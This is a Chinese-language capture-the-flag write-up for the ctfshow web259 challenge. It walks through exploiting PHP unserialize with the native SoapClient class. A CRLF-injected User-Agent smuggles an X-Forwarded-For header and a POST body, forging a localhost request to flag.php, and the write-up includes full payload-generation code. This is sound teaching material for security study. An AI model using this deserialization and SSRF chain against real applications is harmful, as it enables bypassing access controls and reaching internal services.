web259
題目描述
1.題目原始碼很短:
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
2.題目在提示給出了flag.php的內容:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
題目解讀
1.首先,根據原始碼,可見我們需要傳入一個反序列化的引數,並且呼叫一個不存在的getFlag()方法,而我們知道,呼叫一個不存在的公共方法,就會自動呼叫__call方法,因此我們應當去聯想有哪些原生類有__call方法,下面給出一個找原生類方法的指令碼:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
聯想到這題的提示,很容易想到ssrf中的SoapClient類,並且它也存在__call方法!
跟進一下soap類:
在php手冊上查詢,發現這個方法可以呼叫遠端soap方法!(雖然已經被廢棄了)
2.現在思路就明確了:我們需要利用SoapClient類構造一個post請求,讓ip=127.0.0.1,攜帶token="ctfshow"。
3.首先我們需要構造一下UA頭,繞過127.0.0.1的限制:
$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
這裡的"\r\n"是CRLF注入,代表著"回車換行";而我們知道,請求頭和請求體之間是存在一個空行的,因此Content-Length和token之間存在了兩對"\r\n"。之所以要寫兩個127.0.0.1,是因為程式碼中使用了兩次array_pop,每次會刪除最後一個陣列元素,因此為了將$ip賦值為127.0.0.1,需要寫兩個127.0.0.1。
4.其次我們查詢php手冊,找到SoapClient類的構造方法所需的引數:
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
soap是什麼
1.soap是webServer的三要素之一(SOAP、WSDL、UDDI)
2.WSDL用來描述如何訪問具體的介面
3.UUDI用來管理、分發、查詢webServer
4.SOAP是連線web服務和客戶端的介面
簡單地說,SOAP 是一種簡單的基於 XML 的協議,它使應用程式透過 HTTP 來交換資訊。 php中的soapClient類
php中的soapClient類可以建立soap資料包文,與wsdl介面進行互動。
第一個引數設定為null,表示非wsdl模式,反序列化的時候會對第二個引數指明的url進行soap請求。
第二個引數中,可以設定uri、location、user_agent等值。
uri:指定名稱空間 URI(Namespace URI)。
location:指定 Web 服務的 URL 地址。
user_agent:指定 HTTP 請求的 User-Agent 頭。
5.接著,我們把上面兩步的資料整合在一起,進行序列化,然後傳遞引數,再訪問flag.txt即可拿到flag:
<?php
$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>